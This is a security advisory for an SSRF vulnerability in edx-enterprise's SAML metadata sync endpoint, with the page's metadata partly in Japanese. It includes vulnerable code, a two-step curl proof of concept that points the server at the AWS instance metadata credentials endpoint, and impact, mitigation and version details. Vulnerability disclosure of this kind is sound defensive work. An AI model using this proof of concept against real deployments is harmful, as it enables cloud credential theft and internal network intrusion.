edx-enterprise has SSRF via SAML metadata URL in sync_provider_data endpoint

説明

Summary

The sync_provider_data endpoint in SAMLProviderDataViewSet fetches SAML metadata from a URL stored in SAMLProviderConfig.metadata_source. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the SAMLProviderConfigViewSet PATCH endpoint, then trigger a server-side HTTP request by calling sync_provider_data. The fetch in fetch_metadata_xml() passes the URL directly to requests.get() with no scheme enforcement, IP filtering, or timeout.

This vulnerability was introduced when the SAML admin viewsets were migrated from openedx-platform into edx-enterprise. A related fix for the equivalent fetch path in openedx-platform (the fetch_saml_metadata Celery task) was applied in GHSA-328g-7h4g-r2m9.

Details

Vulnerable code path:

enterprise/api/v1/views/saml_utils.py:

def fetch_metadata_xml(url):
    log.info("Fetching %s", url)
    if not url.lower().startswith('https'):
        log.warning("This SAML metadata URL is not secure! (%s)", url)
    response = requests.get(url, verify=True)  # No IP/scheme validation
    response.raise_for_status()

enterprise/api/v1/views/saml_provider_data.py:

@action(detail=False, methods=['post'], url_path='sync_provider_data')
def sync_provider_data(self, request):
    ...
    metadata_url = saml_provider.metadata_source  # set via SAMLProviderConfig PATCH
    xml = fetch_metadata_xml(metadata_url)        # triggers the fetch

Missing protections:
- No HTTPS enforcement (HTTP is allowed; the warning is not enforced)
- No blocking of loopback (127.0.0.0/8) or link-local (169.254.0.0/16) ranges
- No blocking of RFC 1918 private ranges
- No request timeout

Proof of Concept

Prerequisites: Authenticated user with Enterprise Admin role for any enterprise customer with a configured SAML Identity Provider.

Step 1: Set a malicious metadata URL via the provider config endpoint:

curl -X PATCH 'https://<instance>/auth/saml/v0/provider_config/<pk>/' \
  -H 'Authorization: Bearer <JWT>' \
  -H 'Content-Type: application/json' \
  -d '{"metadata_source": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

Step 2: Trigger the server-side fetch:

curl -X POST 'https://<instance>/auth/saml/v0/provider_data/sync_provider_data' \
  -H 'Authorization: Bearer <JWT>' \
  -H 'Content-Type: application/json' \
  -d '{"enterprise_customer_uuid": "<uuid>"}'

The server fetches the AWS metadata endpoint. Even though XML parsing will fail, the HTTP request is made and timing/error differences confirm reachability of internal addresses.

Impact

An Enterprise Admin can use this SSRF to:

  • Steal cloud credentials: Access AWS/GCP/Azure instance metadata services to retrieve IAM temporary credentials, potentially enabling full cloud infrastructure compromise.
  • Scan internal networks: Probe internal hosts, ports, and services behind the deployment's firewall.
  • Access internal APIs: Reach databases, admin panels, or microservices not exposed to the internet.

Enterprise Admin is a delegated role typically granted to corporate training managers, not platform operators. It should not grant the ability to make the server issue arbitrary outbound HTTP requests.

Patches / Mitigations

Call validate_saml_metadata_url() (importable from common.djangoapps.third_party_auth.utils as of the openedx-platform fix in GHSA-328g-7h4g-r2m9) in fetch_metadata_xml() before calling requests.get(). A request timeout should also be added.

Operators should additionally enforce network-level egress filtering to block outbound connections from the Open edX server to 169.254.0.0/16 and RFC 1918 ranges as a complementary control, particularly to cover hostname-based URLs that cannot be validated at the application layer.

基本情報

タイプ
reviewed
深刻度
high
GitHub 上のアドバイザリ
アドバイザリを開く ↗
リポジトリのアドバイザリ
リポジトリのアドバイザリを開く ↗
ソースコード
ソースを見る ↗
公開(アドバイザリ)
2026-05-05 17:51:50 UTC
更新
2026-06-06 00:27:27 UTC
GitHub レビュー済み
2026-05-05 17:51:50 UTC
NVD で公開
2026-05-11

EPSS Score

Score Percentile
0.01% 1.91%

CVSS Scores

Base score Version Severity Vector
8.5 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N クリックして展開
攻撃ベクター (AV:N)
インターネットなど、ルーティングされたネットワーク越しに遠隔から悪用しうる。端末の前にいる必要はない。
攻撃の複雑さ (AC:L)
攻撃者が条件を満たせば、レース条件や珍しい構成に依存せずに再現しやすい。
必要な権限 (PR:L)
一般ユーザー権限があれば足り、管理者(root 相当)は不要。
ユーザーの関与 (UI:N)
メールのリンクを開く、マクロを有効にするなど、被害者の協力がなくても成立しうる。
スコープ (S:C)
脆弱箇所を足がかりに、別コンポーネントや別権限域まで影響が広がりうる。
機密性への影響 (C:H)
広範な機微データの読み取りや持ち出しが現実的。
完全性への影響 (I:L)
レコードの一部書き換えや設定の歪みなど、限定的だが検知・復旧が必要な水準。
可用性への影響 (A:N)
業務継続に支障が出るレベルの停止や劣化は想定されない。

Identifiers

CWEs

CWE id Name
CWE-918 Server-Side Request Forgery (SSRF)

Credits

  • ik0z (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
pip edx-enterprise >= 7.0.2, <= 7.0.4 7.0.5

References

cvelogic Threat Intelligence